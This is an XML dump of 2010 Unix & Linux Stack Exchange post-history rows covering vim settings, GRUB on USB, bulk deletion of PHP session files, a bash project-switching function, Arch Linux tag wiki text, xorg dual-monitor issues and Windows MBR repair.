  <row Id="7899" PostHistoryTypeId="2" PostId="3693" RevisionGUID="36fcfefa-22a9-4ddf-93e7-2cbd2ada973a" CreationDate="2010-11-01T20:53:44.000" UserId="2514" Text="In my .vimrc I added:&#xD;&#xA;&#xD;&#xA;    set background=dark&#xD;&#xA;&#xD;&#xA;That helped a lot.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7900" PostHistoryTypeId="2" PostId="3694" RevisionGUID="d0b42c9f-a2c3-42eb-baaf-5e41bab1bb81" CreationDate="2010-11-01T20:59:30.533" UserId="33" Text="I am not colorblind so I don't really know what works and what doesn't. I use the [desert][1] color scheme which works great for me, but your best guess would be to go to [http://code.google.com/p/vimcolorschemetest/][2] and just check them all out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hans.fugal.net/vim/colors/desert.html&#xD;&#xA;  [2]: http://code.google.com/p/vimcolorschemetest/" />
  <row Id="7901" PostHistoryTypeId="2" PostId="3695" RevisionGUID="b41322c4-9697-41a9-a46c-c50de04bd309" CreationDate="2010-11-01T23:24:48.643" UserId="2517" Text="Hi All,&#xD;&#xA;&#xD;&#xA;**Some Background:**&#xD;&#xA;&#xD;&#xA;* Coming from a largely Windows background (though I'm familiar with Ubuntu, etc.) and using a Windows 7 machine to complete this task&#xD;&#xA;* Have gotten GRUB installed successfully to the MBR of the USB drive (8 GB FAT32 drive):&#xD;&#xA;* Have created a basic structure on the drive: /boot/grub, /boot/img, /boot/kernel&#xD;&#xA;&#xD;&#xA;**Question:**&#xD;&#xA;&#xD;&#xA;I have some basic, beginner questions, but ones that I've had trouble finding answers to through Google / StackExchange, etc.&#xD;&#xA;&#xD;&#xA;* I understand that the /boot/img/[SystemName] folder will store the image for a specific system, which may use various (or the same) versions of linux kernels stored in the /boot/kernel directory (at least, that's how I'd like to set it up)&#xD;&#xA;* However, most of these systems just have a kernel in their directories called &quot;linux&quot; (not stating the version). I can search out which kernel these all use, but what's the bst place to get the kernels themselves to copy to /boot/kernel?&#xD;&#xA;* After I get the kernels, I imagine the rest is mostly copying the device to /boot/img/ and creating the proper entry in menu.lst, correct? I can do that on a system by system basis once I can get the kernels to refer to.&#xD;&#xA;&#xD;&#xA;I might be confused as to how the process works or terminology, but I promise I've worked in IT generally for 7+ years. Appreciate any help that you can give!" />
  <row Id="7902" PostHistoryTypeId="1" PostId="3695" RevisionGUID="b41322c4-9697-41a9-a46c-c50de04bd309" CreationDate="2010-11-01T23:24:48.643" UserId="2517" Text="GRUB on USB Drive -- adding OSes" />
  <row Id="7903" PostHistoryTypeId="3" PostId="3695" RevisionGUID="b41322c4-9697-41a9-a46c-c50de04bd309" CreationDate="2010-11-01T23:24:48.643" UserId="2517" Text="ékernelàéusbàégrubàédualöbootàébootöloaderà" />
  <row Id="7904" PostHistoryTypeId="5" PostId="3681" RevisionGUID="1b64d2dc-f459-4f18-a602-b230d12c5b1f" CreationDate="2010-11-02T01:11:27.963" UserId="29" Comment="link alex's profile" Text="I would do it like this...&#xD;&#xA;&#xD;&#xA;    sudo ionice -c3 find /var/lib/php5/ -type f -exec  rm -f '{}' +&#xD;&#xA;&#xD;&#xA;the `+` is more xargs like (I think), and thus more efficient at very large numbers of files. putting ionice on the whole command should make every sub command also ioniced, as well as the search itself. Have you tried this?&#xD;&#xA;&#xD;&#xA;you could also make it [really nice][1] `nice -n 19 ionice -c 3 programname` though it shouldn't be necessary.&#xD;&#xA;&#xD;&#xA;or taking a cue from [@alex](http://unix.stackexchange.com/users/1946/alex) you could&#xD;&#xA;&#xD;&#xA;    ionice -c3 find /var/lib/php5/ -type f -delete&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xenoterracide.com/2008/04/really-nice.html" />
  <row Id="7905" PostHistoryTypeId="5" PostId="3543" RevisionGUID="b41ece33-d979-434a-ac95-6968db2c108b" CreationDate="2010-11-02T04:02:14.083" UserId="1327" Comment="deleted 19 characters in body" Text="Sometimes, I use KDE, and one of the things that I like the most in KDE 4 is the activity concept. At work, it is very useful because I often work on several different projects during one day. Switching to another activity enables me to change the widgets, so that I can have access to folders related to the current project, for instance.&#xD;&#xA;&#xD;&#xA;I've decided to use this concept in the shell, so I have coded a small bash function called &quot;switch&quot;, which sets aliases useful for the current project, e.g. `alias cdwww=~/public_html/current_project/www` , and so on.&#xD;&#xA;&#xD;&#xA;**My question is** : Is there a way I can synchronise KDE activities with shell activities, that is calling 'switch myproj' on every opened terminal when switching to activity 'myproj' through KDE and *vice versa* (bonus question)?&#xD;&#xA;&#xD;&#xA;**Another question** : how do I make my newly created aliases work in all consoles? Is there a way I can detect every opened terminal in konsole or in gnome-terminal and execute my function in it?&#xD;&#xA;&#xD;&#xA;EDIT: here is the switch function, located at the end of my .bashrc file, feel free to comment:&#xD;&#xA;&#xD;&#xA;    function switch() {&#xD;&#xA;    &#xD;&#xA;        if [ ! -d ~/.switch ]&#xD;&#xA;        then&#xD;&#xA;            mkdir ~/.switch&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -f ~/.switch/proj.save ]&#xD;&#xA;        then&#xD;&#xA;            touch ~/.switch/proj.save&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;$1&quot; &gt; ~/.switch/proj.save&#xD;&#xA;    &#xD;&#xA;        case $1 in&#xD;&#xA;        meddispar )&#xD;&#xA;            echo &quot;Switching to meddispar...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/onp/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/onp/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;cdwww &amp;&amp; php bin/php/ezcache.php --clear-all --purge &amp;&amp; cd -&quot;&#xD;&#xA;        ;;&#xD;&#xA;        darjeeling )&#xD;&#xA;            echo &quot;Switching to darjeeling...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/darjeeling/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/darjeeling/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;rm -rf ~/public_html/darjeeling/www/var/cache/*&quot;&#xD;&#xA;        ;;&#xD;&#xA;        * )&#xD;&#xA;            echo &quot;'$1'? WTF?&quot;&#xD;&#xA;            rm ~/.switch/proj.save&#xD;&#xA;        ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;    if [ -f ~/.switch/proj.save ]&#xD;&#xA;    then&#xD;&#xA;         switch `cat ~/.switch/proj.save`&#xD;&#xA;    fi" />
  <row Id="7906" PostHistoryTypeId="5" PostId="1955" RevisionGUID="01659c4c-118d-40a8-b8f7-01e6fda5cb75" CreationDate="2010-11-02T04:10:29.117" UserId="1327" Comment="edited body; added 51 characters in body" Text="![arch][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;a Linux distribution that is aimed at keeping things lightweight and simple." />
  <row Id="7907" PostHistoryTypeId="5" PostId="1954" RevisionGUID="2e11588c-eb20-4a2f-8b61-1fdd3b3c42c3" CreationDate="2010-11-02T04:13:28.457" UserId="1327" Comment="added 117 characters in body" Text="![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;**[History][2]:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;**Technical Details:**  &#xD;&#xA;&#xD;&#xA; - Package Manager: *[Pacman][3]*&#xD;&#xA; - Release Cycle: *Rolling Release*&#xD;&#xA;&#xD;&#xA;**Other:**&#xD;&#xA;&#xD;&#xA; - The official forums: http://bbs.archlinux.org&#xD;&#xA; - The official wiki: http://wiki.archlinux.org&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/ArchLinux:About#History&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/tagged/pacman" />
  <row Id="7908" PostHistoryTypeId="5" PostId="1955" RevisionGUID="7d8bf176-861f-420c-94c2-e8300cdbc66d" CreationDate="2010-11-02T04:16:25.663" UserId="1327" Comment="deleted 51 characters in body" Text="a Linux distribution that is aimed at keeping things lightweight and simple." />
  <row Id="7909" PostHistoryTypeId="5" PostId="1954" RevisionGUID="cc736bb7-2172-4c68-967d-72a666c42db9" CreationDate="2010-11-02T04:25:01.240" UserId="1327" Comment="added 575 characters in body" Text="![ArchLinux][1]&#xD;&#xA;&#xD;&#xA;Archlinux&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Website:** http://www.archlinux.org/&#xD;&#xA;&#xD;&#xA;**[The Arch Way][4] (v2.0)**&#xD;&#xA; &#xD;&#xA; Arch linux was built with the philosophy of **The Arch Way**, summurized as KISS ( Keeping things Simple, Stupid ). &#xD;&#xA;&#xD;&#xA;&gt; **Simple**  &#xD;&#xA;&gt;  without unnecessary additions, modifications, or complications&#xD;&#xA;&#xD;&#xA;&gt; **Elegant**  &#xD;&#xA;&gt; combining simplicity, power, effectiveness, a quality&#xD;&#xA;&gt; of neatness and an ingenious grace of design &#xD;&#xA;&#xD;&#xA;&gt; **Versatile**  &#xD;&#xA;&gt; capable of doing many things competently; having varied uses or many functions&#xD;&#xA;&#xD;&#xA;&gt; **Expedient**  &#xD;&#xA;&gt; easy, or quick; convenient&#xD;&#xA;&#xD;&#xA;**[History][2]:**&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux was founded by Canadian&#xD;&#xA;&gt; programmer, Judd Vinet. Its first&#xD;&#xA;&gt; formal release, Arch Linux 0.1, was on&#xD;&#xA;&gt; March 11, 2002. Although Arch is&#xD;&#xA;&gt; completely independent, it draws&#xD;&#xA;&gt; inspiration from the simplicity of&#xD;&#xA;&gt; other distributions including&#xD;&#xA;&gt; Slackware, CRUX and BSD.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In 2007, Judd Vinet stepped down as&#xD;&#xA;&gt; Project Lead to pursue other interests&#xD;&#xA;&gt; and was replaced by Aaron Griffin who&#xD;&#xA;&gt; continues to lead the project today.&#xD;&#xA;&#xD;&#xA;**Technical Details:**  &#xD;&#xA;&#xD;&#xA; - Package Manager: *[Pacman][3]*&#xD;&#xA; - Release Cycle: *Rolling Release*&#xD;&#xA;&#xD;&#xA;**Other:**&#xD;&#xA;&#xD;&#xA; - The official forums: http://bbs.archlinux.org&#xD;&#xA; - The official wiki: http://wiki.archlinux.org&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/2cyqq.png&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/ArchLinux:About#History&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/tagged/pacman&#xD;&#xA;  [4]:https://wiki.archlinux.org/index.php/The_Arch_Way" />
  <row Id="7910" PostHistoryTypeId="2" PostId="3696" RevisionGUID="9f8d43e2-335a-4707-bc64-dbc0d1a07436" CreationDate="2010-11-02T04:40:15.783" UserId="1327" Text="![Ubuntu][1]&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;Ubuntu&#xD;&#xA;------&#xD;&#xA; - **Website:** http://www.ubuntu.com/&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/r1gZn.jpg" />
  <row Id="7911" PostHistoryTypeId="2" PostId="3697" RevisionGUID="365e357a-2b82-4728-a613-13959a37ae3c" CreationDate="2010-11-02T04:40:15.783" UserId="1327" Text="" />
  <row Id="7912" PostHistoryTypeId="2" PostId="3698" RevisionGUID="bae5b165-1293-4d1b-be20-6ba02e7aced5" CreationDate="2010-11-02T05:15:42.943" UserId="1327" Text="&#xD;&#xA;**List of Distributions**&#xD;&#xA;&#xD;&#xA; - [ArchLinux][1]&#xD;&#xA; - [BSD][2]&#xD;&#xA; - [Centos][3]&#xD;&#xA; - [Darwin][4]  &#xD;&#xA; - [Debian][5]&#xD;&#xA; - [Fedora][6]&#xD;&#xA; - [FreeBSD][7]&#xD;&#xA; - [Gentoo][8]&#xD;&#xA; - [Mandriva][9]&#xD;&#xA; - [OpenSuse][10]&#xD;&#xA; - [OpenSolaris][11]&#xD;&#xA; - [RedHat][12]&#xD;&#xA; - [Solaris][13]&#xD;&#xA; - [Suse][14]&#xD;&#xA; - [Ubuntu][15]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://unix.stackexchange.com/questions/tagged/arch-linux&#xD;&#xA;[2]: http://unix.stackexchange.com/questions/tagged/bsd &#xD;&#xA;[3]: http://unix.stackexchange.com/questions/tagged/centos&#xD;&#xA;[4]: http://unix.stackexchange.com/questions/tagged/darwin&#xD;&#xA;[5]: http://unix.stackexchange.com/questions/tagged/debian&#xD;&#xA;[6]: http://unix.stackexchange.com/questions/tagged/fedora&#xD;&#xA;[7]: http://unix.stackexchange.com/questions/tagged/freebsd&#xD;&#xA;[8]: http://unix.stackexchange.com/questions/tagged/gentoo&#xD;&#xA;[9]: http://unix.stackexchange.com/questions/tagged/mandriva&#xD;&#xA;[10]: http://unix.stackexchange.com/questions/tagged/opensuse&#xD;&#xA;[11]: http://unix.stackexchange.com/questions/tagged/opensolaris&#xD;&#xA;[12]:http://unix.stackexchange.com/questions/tagged/redhat&#xD;&#xA;[13]: http://unix.stackexchange.com/questions/tagged/solaris&#xD;&#xA;[14]: http://unix.stackexchange.com/questions/tagged/suse&#xD;&#xA;[15]: http://unix.stackexchange.com/questions/tagged/ubuntu&#xD;&#xA;" />
  <row Id="7913" PostHistoryTypeId="2" PostId="3699" RevisionGUID="755af1e1-1d50-4110-a2c7-fa53fa6d7d6a" CreationDate="2010-11-02T05:15:42.943" UserId="1327" Text="" />
  <row Id="7914" PostHistoryTypeId="2" PostId="3700" RevisionGUID="79be3d58-dedb-4df6-a6a1-cc1b883662e1" CreationDate="2010-11-02T06:00:10.813" UserId="678" Text="Maybe too silly.&#xD;&#xA;&#xD;&#xA;What about deleting the whole directory structure?&#xD;&#xA;&#xD;&#xA;    find /var/lib/php5 -type d -print &gt; /tmp/directories&#xD;&#xA;    rm -r /var/lib/php5&#xD;&#xA;    cat /tmp/directories | xargs mkdir&#xD;&#xA;" />
  <row Id="7915" PostHistoryTypeId="2" PostId="3701" RevisionGUID="fb082935-38d6-4461-8334-9d42e9091718" CreationDate="2010-11-02T07:07:55.593" UserId="2142" Text="Using dmidecode or lshw and greping seems to be to be the best way to find out." />
  <row Id="7916" PostHistoryTypeId="2" PostId="3702" RevisionGUID="c7f72f95-da5b-4dba-b8d4-5afd51f050b1" CreationDate="2010-11-02T09:03:40.203" UserId="2274" Text="I have an interesting situation, I have a runaway ruby process - I know exactly how I trigger it.&#xD;&#xA;&#xD;&#xA;Point is, it got me thinking about runaway processes (CPU usage or memory usage). &#xD;&#xA;&#xD;&#xA; - How would one monitor runaway&#xD;&#xA;   processes with cron? grep / top / ulimit?&#xD;&#xA;   &#xD;&#xA;  &#xD;&#xA; - Can one notify the user via the   &#xD;&#xA;   command line if something like this  &#xD;&#xA;   happens?&#xD;&#xA;  &#xD;&#xA; - What alternatives are there to Monit?" />
  <row Id="7917" PostHistoryTypeId="1" PostId="3702" RevisionGUID="c7f72f95-da5b-4dba-b8d4-5afd51f050b1" CreationDate="2010-11-02T09:03:40.203" UserId="2274" Text="I need help with a cronjob to watch for runaway processes and kill them." />
  <row Id="7918" PostHistoryTypeId="3" PostId="3702" RevisionGUID="c7f72f95-da5b-4dba-b8d4-5afd51f050b1" CreationDate="2010-11-02T09:03:40.203" UserId="2274" Text="écommandölineàéprocessàécronà" />
  <row Id="7919" PostHistoryTypeId="5" PostId="3678" RevisionGUID="4bf0b7ee-2c7f-4629-b1c7-78989208dbaa" CreationDate="2010-11-02T10:05:32.770" UserId="1946" Comment="deleted 18 characters in body" Text="Since `sha1sum` doesn't provide an option for binary output you'll likely need to find an utility which does the opposite of `od` and pipe them.  Taking suggestion by fschmitt to use `xxd` with 'reverse' and 'plain dump' flags it will look like this:&#xD;&#xA;&#xD;&#xA;`sha1sum | cut -f1 -d\  | xxd -r -p | base64`&#xD;&#xA;" />
  <row Id="7920" PostHistoryTypeId="5" PostId="3661" RevisionGUID="65878e92-acb2-43b0-a273-32cc59705fff" CreationDate="2010-11-02T10:13:48.160" UserId="1946" Comment="added 4 characters in body" Text="* You may well expect them to go up to `63` on a typical Linux box.&#xD;&#xA;* There is (was?) `stdlog`, but it's rarely used (I believe I never saw one).&#xD;&#xA;* The order is important: check `man bash` REDIRECTION." />
  <row Id="7921" PostHistoryTypeId="2" PostId="3703" RevisionGUID="7f143b1f-ebed-4764-8b92-2d0930487499" CreationDate="2010-11-02T10:18:16.963" UserId="102" Text="Instead of writing a script yourself you could use the [verynice][1] utility. Its main focus is on dynamic process renicing but it also has the option to kill runaway processes and is easily configured.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thermal.cnde.iastate.edu/~sdh4/verynice/" />
  <row Id="7922" PostHistoryTypeId="2" PostId="3704" RevisionGUID="6cf8cbfd-1fff-465a-baac-41393f6c1346" CreationDate="2010-11-02T10:23:57.960" UserId="2327" Text="1. Installation of the same software is just half the way. You have to keep it the same over time (additional software, updates, service packs, ...). Therefor you could use some tools from SUSE. SMT (Subscription Management Tool) is the free version and ZENworks is the more costly option. When I'm right, both need a SUSE server to run on.&#xD;&#xA;&#xD;&#xA;2. You could use puppet or chef as already mentioned in the comments. Another option is a cluster shell or something like this, but this is only a solution for small environments and very little changes in the systems. Another way is to use ZENworks from SUSE when you want to spend the money. YaST is definitely no option for this.&#xD;&#xA;&#xD;&#xA;3. The comments already said nearly everything needed. One more point, would be automount, to get the user filesystems mounted." />
  <row Id="7923" PostHistoryTypeId="2" PostId="3705" RevisionGUID="cab4d441-85c5-4815-a53a-81c14e79927a" CreationDate="2010-11-02T11:23:42.673" UserId="1900" Text="&#xD;&#xA;&#xD;&#xA;have no idea how did I get all braces highlighted,not just matching ones, but I want to turn it off now. How do I do it?&#xD;&#xA;The usual highlighting of matching braces works fine.&#xD;&#xA;Anybody knows?" />
  <row Id="7924" PostHistoryTypeId="1" PostId="3705" RevisionGUID="cab4d441-85c5-4815-a53a-81c14e79927a" CreationDate="2010-11-02T11:23:42.673" UserId="1900" Text="how to turn off permanent highlighting of all braces (not just pairs) " />
  <row Id="7925" PostHistoryTypeId="3" PostId="3705" RevisionGUID="cab4d441-85c5-4815-a53a-81c14e79927a" CreationDate="2010-11-02T11:23:42.673" UserId="1900" Text="évimà" />
  <row Id="7926" PostHistoryTypeId="5" PostId="3705" RevisionGUID="f12d6ed7-be31-4e6c-ad90-aefb393031e4" CreationDate="2010-11-02T12:00:16.873" UserId="29" Comment="make it more clear" Text="have no idea how did I get all braces highlighted,not just matching ones, but I want to turn it off now. How do I do it?&#xD;&#xA;The usual highlighting of matching braces works fine.&#xD;&#xA;Anybody knows?" />
  <row Id="7927" PostHistoryTypeId="6" PostId="3705" RevisionGUID="f12d6ed7-be31-4e6c-ad90-aefb393031e4" CreationDate="2010-11-02T12:00:16.873" UserId="29" Comment="make it more clear" Text="évimàéeditorsà" />
  <row Id="7928" PostHistoryTypeId="4" PostId="3705" RevisionGUID="f12d6ed7-be31-4e6c-ad90-aefb393031e4" CreationDate="2010-11-02T12:00:16.873" UserId="29" Comment="make it more clear" Text="how to turn off permanent highlighting of all braces (not just pairs) in vim" />
  <row Id="7929" PostHistoryTypeId="2" PostId="3706" RevisionGUID="2a5fa3af-ced4-462d-aa59-901cc01f5d36" CreationDate="2010-11-02T13:02:58.060" UserId="195" Text="Did you do a search for a brace? If you did then you can either search for gibberish, or you can do a `:set nohlsearch` to turn off highlighting." />
  <row Id="7930" PostHistoryTypeId="2" PostId="3707" RevisionGUID="7627e81c-cbf0-49e8-99a4-6cb7ebf68bae" CreationDate="2010-11-02T13:15:53.337" UserId="1452" Text="I seem to have found the solution.&#xD;&#xA;&#xD;&#xA;I deleted all the previous connections, deleted the configuration file from &lt;code&gt;/etc/network&lt;/code&gt; created by &lt;code&gt;pppoeconf&lt;/code&gt; and rebooted. Then I set up the wired connection (Automatic ethernet) using the static addresses but made sure it didn't have &quot;connect automatically&quot; checked in the configuration dialog. Then I created a DSL connection, but of all the settings, I only filled in the user name, service name and password for it. I checked &quot;available to all users&quot; and closed the settings dialog. Then from the &quot;connections&quot; applet on the panel, clicked the connection name. And it connected and worked.&#xD;&#xA;&#xD;&#xA;Nevertheless, after a couple of reboots, I'm noticing that sometimes it won't connect on the first &quot;click&quot;. It'll show notification &quot;Connection established&quot; but I won't have internet access. So I need to disconnect and retry a few times, and eventually it works." />
  <row Id="7931" PostHistoryTypeId="5" PostId="3477" RevisionGUID="209eddeb-b572-4970-93b0-40831ffb406a" CreationDate="2010-11-02T13:22:41.407" UserId="29" Comment="update url" Text="Follow the same basic instructions in [phunhehe's post][1] except instead of `xdg-open` you can use `kioclient exec https://mail.google.com/mail/?view=cm&amp;fs=1&amp;tf=1&amp;to=%t&amp;su=%s&amp;%u`. This will open the same browser that you've set to default in kde.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3468/how-do-i-make-kde-open-mail-links-to-a-webmail-client-in-a-browser/3472#3472" />
  <row Id="7932" PostHistoryTypeId="5" PostId="3628" RevisionGUID="c112b14a-8c51-4238-88f7-bf49ce1aebee" CreationDate="2010-11-02T14:17:26.723" UserId="2489" Comment="added 127 characters in body" Text="I have Gentoo Linux, the Awesome window manager and an open-source ATI driver.&#xD;&#xA;&#xD;&#xA;Here's my xorg.conf:&#xD;&#xA;&#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;            #ModulePath   &quot;/usr/lib64/xorg/modules&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/misc/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/TTF/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/OTF&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/Type1/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/100dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/75dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/terminus&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;      Identifier     &quot;My X Server&quot;&#xD;&#xA;      Screen 0 &quot;Screen0&quot; 0 0&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      510   290     # mm&#xD;&#xA;            Identifier   &quot;LeftMonitor&quot;&#xD;&#xA;            VendorName   &quot;DEL&quot;&#xD;&#xA;            ModelName    &quot;DELL U2311H&quot;&#xD;&#xA;            HorizSync    30.0 - 83.0&#xD;&#xA;            VertRefresh  56.0 - 76.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1920x1080&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      380   300     # mm&#xD;&#xA;            Identifier   &quot;RightMonitor&quot;&#xD;&#xA;            VendorName   &quot;SAM&quot;&#xD;&#xA;            ModelName    &quot;SyncMaster&quot;&#xD;&#xA;            HorizSync    30.0 - 81.0&#xD;&#xA;            VertRefresh  56.0 - 75.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1280x1024&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;      Identifier  &quot;Card0&quot;&#xD;&#xA;      Driver      &quot;radeon&quot;&#xD;&#xA;      VendorName  &quot;ATI Technologies Inc&quot;&#xD;&#xA;      BoardName   &quot;Mobilitiy Radeon HD 3600 Series&quot;&#xD;&#xA;      BusID       &quot;PCI:4:0:0&quot;&#xD;&#xA;      #Option &quot;AccelMethod&quot; &quot;EXA&quot;&#xD;&#xA;      Option         &quot;monitor-HDMI-0&quot; &quot;RightMonitor&quot;&#xD;&#xA;      Option         &quot;monitor-DVI-0&quot; &quot;LeftMonitor&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;      Identifier   &quot;Screen0&quot;&#xD;&#xA;      Device       &quot;Card0&quot;&#xD;&#xA;      Monitor      &quot;LeftMonitor&quot;&#xD;&#xA;      DefaultDepth 24&#xD;&#xA;      SubSection &quot;Display&quot;&#xD;&#xA;            Depth     24&#xD;&#xA;            Modes           &quot;1920x1080&quot; &quot;1280x1024&quot;&#xD;&#xA;            Virtual     3200 1080&#xD;&#xA;      EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;And to enable the monitor on the right side I do `xrandr --output HDMI-0 --mode 1280x1024 --right-of DVI-0` at system launch.&#xD;&#xA;&#xD;&#xA;Good thing, it works.  &#xD;&#xA;**Bad** thing, Altitude game breaks it. The main (left) monitor loses signal and I can't re-enable it ( while the game itself runs happily on the right screen, in fullscreen mode).&#xD;&#xA;&#xD;&#xA;No problems in windowed mode (1024x768), as well as with all other applications (fullscreen flash, VLC, etc), but when I try to change in-game resolution to 1280x1024, it breaks the same way as with fullscreen.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;**Edit:** It breaks when I close the game as well. Argh!&#xD;&#xA;&#xD;&#xA;**Edit2:** Probably related to [this bug][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awesome.naquadah.org/bugs/index.php?do=details&amp;task_id=717" />
  <row Id="7933" PostHistoryTypeId="6" PostId="3628" RevisionGUID="ce39c7d5-6c5f-44b2-88b0-664780de23d9" CreationDate="2010-11-02T14:50:04.613" UserId="2489" Comment="edited tags" Text="éwindowömanageràégentooàéxrandràétilingà" />
  <row Id="7934" PostHistoryTypeId="2" PostId="3708" RevisionGUID="8df8c82c-361d-4c0c-83d7-00c11f78ff1f" CreationDate="2010-11-02T14:57:09.887" UserId="2063" Text="I had RHEL 5 and WinXP on dual-boot and then from WinXP I deleted those partitions which were allocated to RHEL. Now I am not able to start my computer. The booting process stops at grub. I tried installing XP again so that it repairs the MBR for XP but the bootable CD is not initiating the installation process. How can I recover my winXP? &#xD;&#xA;&#xD;&#xA;Edit : I will not mind formatting the drive where XP is installed (in my case it's in C drive). " />
  <row Id="7935" PostHistoryTypeId="1" PostId="3708" RevisionGUID="8df8c82c-361d-4c0c-83d7-00c11f78ff1f" CreationDate="2010-11-02T14:57:09.887" UserId="2063" Text="How to uninstall RHEL from a dual-boot system?" />
  <row Id="7936" PostHistoryTypeId="3" PostId="3708" RevisionGUID="8df8c82c-361d-4c0c-83d7-00c11f78ff1f" CreationDate="2010-11-02T14:57:09.887" UserId="2063" Text="élinuxàégrubàédualöbootàérhelà" />
  <row Id="7937" PostHistoryTypeId="2" PostId="3709" RevisionGUID="af8ca531-ac34-4b51-9ebe-a1060a7188cf" CreationDate="2010-11-02T15:02:29.397" UserId="2175" Text="If you boot to your windows installation CD, you should see an option called &quot;repair console&quot; or something similar. Select that, it will bring up a dos prompt. Type the following commands: &#xD;&#xA;&#xD;&#xA;`fixboot` then `fixmbr` and reboot, you should be good after that unless there is something wrong with your windows install." />
  <row Id="7938" PostHistoryTypeId="2" PostId="3710" RevisionGUID="0b22ea9c-f976-4821-a50e-3442a10b6f4b" CreationDate="2010-11-02T15:37:24.703" UserId="394" Text="I want to do some housekeeping in a directory, and I want to see if a given directory has any symlinks pointing *to* it. I can easily enough see what directory a symlink points to, but now I want to see the relationship in reverse." />
  <row Id="7939" PostHistoryTypeId="1" PostId="3710" RevisionGUID="0b22ea9c-f976-4821-a50e-3442a10b6f4b" CreationDate="2010-11-02T15:37:24.703" UserId="394" Text="How do I see what symlinks exist for a given directory?" />
  <row Id="7940" PostHistoryTypeId="3" PostId="3710" RevisionGUID="0b22ea9c-f976-4821-a50e-3442a10b6f4b" CreationDate="2010-11-02T15:37:24.703" UserId="394" Text="ésymlinkà" />
